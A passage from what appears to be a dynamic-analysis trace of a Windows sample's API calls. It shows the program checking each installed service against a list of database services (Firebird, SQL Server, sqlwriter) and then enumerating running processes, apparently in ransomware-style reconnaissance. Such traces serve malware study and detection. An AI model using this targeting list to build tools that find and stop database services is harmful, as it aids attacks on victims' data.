lpString2="BFE") returned 1 [0152.595] lstrlenW (lpString="BITS") returned 4 [0152.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0152.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0152.595] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0152.595] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0152.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0152.596] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0152.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0152.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0152.596] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0152.596] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0152.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0152.596] lstrlenW (lpString="CDPSvc") returned 6 [0152.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0152.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0152.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0152.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0152.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0152.596] lstrlenW (lpString="ClickToRunSvc") returned 13 [0152.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0152.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0152.596] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0152.596] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0152.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0152.596] lstrlenW (lpString="ClipSVC") returned 7 [0152.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0152.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0152.596] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0152.596] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0152.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0152.596] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0152.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0152.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0152.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0152.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0152.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0152.596] lstrlenW (lpString="CryptSvc") returned 8 [0152.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0152.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0152.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0152.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0152.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0152.596] lstrlenW (lpString="DcomLaunch") returned 10 [0152.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.596] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0152.596] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0152.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0152.596] lstrlenW (lpString="DeviceAssociationService") returned 24 [0152.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0152.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0152.596] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0152.596] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0152.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0152.597] lstrlenW (lpString="Dhcp") returned 4 [0152.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0152.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0152.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0152.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0152.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0152.597] lstrlenW (lpString="Dnscache") returned 8 [0152.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0152.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0152.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0152.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0152.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0152.597] lstrlenW (lpString="DoSvc") returned 5 [0152.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0152.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0152.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0152.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0152.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0152.597] lstrlenW (lpString="DPS") returned 3 [0152.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0152.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0152.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0152.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0152.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0152.597] lstrlenW (lpString="DusmSvc") returned 7 [0152.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0152.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0152.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0152.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0152.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0152.597] lstrlenW (lpString="EventLog") returned 8 [0152.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0152.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0152.597] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0152.597] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0152.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0152.597] lstrlenW (lpString="EventSystem") returned 11 [0152.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0152.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0152.597] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0152.597] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0152.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0152.597] lstrlenW (lpString="FontCache") returned 9 [0152.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0152.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0152.597] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0152.598] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0152.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0152.598] lstrlenW (lpString="gpsvc") returned 5 [0152.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0152.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0152.598] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0152.598] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0152.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0152.598] lstrlenW (lpString="iphlpsvc") returned 8 [0152.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.598] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0152.598] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0152.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0152.598] lstrlenW (lpString="KeyIso") returned 6 [0152.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0152.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0152.598] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0152.598] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0152.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0152.598] lstrlenW (lpString="LanmanServer") returned 12 [0152.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0152.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0152.598] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0152.598] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0152.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0152.598] lstrlenW (lpString="LanmanWorkstation") returned 17 [0152.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.598] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0152.598] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0152.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0152.598] lstrlenW (lpString="lfsvc") returned 5 [0152.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0152.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0152.598] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0152.598] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0152.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0152.599] lstrlenW (lpString="LicenseManager") returned 14 [0152.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0152.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0152.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0152.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0152.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0152.599] lstrlenW (lpString="lmhosts") returned 7 [0152.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0152.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0152.599] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0152.599] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0152.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0152.599] lstrlenW (lpString="LSM") returned 3 [0152.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0152.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0152.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0152.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0152.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0152.599] lstrlenW (lpString="MpsSvc") returned 6 [0152.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0152.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0152.599] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0152.599] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0152.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0152.599] lstrlenW (lpString="NcbService") returned 10 [0152.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0152.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0152.599] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0152.599] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0152.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0152.599] lstrlenW (lpString="netprofm") returned 8 [0152.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0152.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0152.600] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0152.600] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0152.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0152.600] lstrlenW (lpString="NgcSvc") returned 6 [0152.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0152.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0152.600] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0152.600] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0152.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0152.600] lstrlenW (lpString="NlaSvc") returned 6 [0152.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0152.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0152.600] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0152.600] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0152.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0152.600] lstrlenW (lpString="nsi") returned 3 [0152.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0152.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0152.600] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0152.600] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0152.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0152.600] lstrlenW (lpString="PcaSvc") returned 6 [0152.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0152.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0152.600] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0152.600] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0152.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0152.600] lstrlenW (lpString="PlugPlay") returned 8 [0152.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0152.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0152.601] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0152.601] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0152.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0152.601] lstrlenW (lpString="Power") returned 5 [0152.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0152.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0152.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0152.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0152.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0152.601] lstrlenW (lpString="ProfSvc") returned 7 [0152.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0152.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0152.601] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0152.601] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0152.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0152.601] lstrlenW (lpString="RpcEptMapper") returned 12 [0152.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.601] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0152.601] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0152.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0152.601] lstrlenW (lpString="RpcSs") returned 5 [0152.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0152.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0152.601] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0152.601] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0152.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0152.601] lstrlenW (lpString="SamSs") returned 5 [0152.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0152.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0152.601] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0152.601] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0152.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0152.602] lstrlenW (lpString="Schedule") returned 8 [0152.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0152.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0152.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0152.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0152.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0152.602] lstrlenW (lpString="SecurityHealthService") returned 21 [0152.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0152.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0152.602] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0152.602] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0152.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0152.602] lstrlenW (lpString="SENS") returned 4 [0152.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0152.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0152.602] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0152.602] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0152.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0152.602] lstrlenW (lpString="ShellHWDetection") returned 16 [0152.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0152.602] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0152.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0152.602] lstrlenW (lpString="Spooler") returned 7 [0152.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0152.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0152.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0152.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0152.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0152.603] lstrlenW (lpString="SSDPSRV") returned 7 [0152.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0152.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0152.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0152.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0152.603] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d7780 | out: hHeap=0x790000) returned 1 [0152.603] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0152.611] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.612] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0152.612] lstrlenW (lpString="System") returned 6 [0152.612] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0152.613] lstrlenW (lpString="smss.exe") returned 8 [0152.613] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.614] lstrlenW (lpString="csrss.exe") returned 9 [0152.614] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0152.614] lstrlenW (lpString="wininit.exe") returned 11 [0152.614] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.615] lstrlenW (lpString="csrss.exe") returned 9 [0152.615] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0152.615] lstrlenW (lpString="winlogon.exe") returned 12 [0152.615] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0152.616] lstrlenW (lpString="services.exe") returned 12 [0152.616] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0152.617] lstrlenW (lpString="lsass.exe") returned 9 [0152.617] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.617] lstrlenW (lpString="svchost.exe") returned 11 [0152.617] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0152.618] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0152.618] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0152.618] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0152.618] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.619] lstrlenW (lpString="svchost.exe") returned 11 [0152.619] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0152.620] lstrlenW (lpString="dwm.exe") returned 7 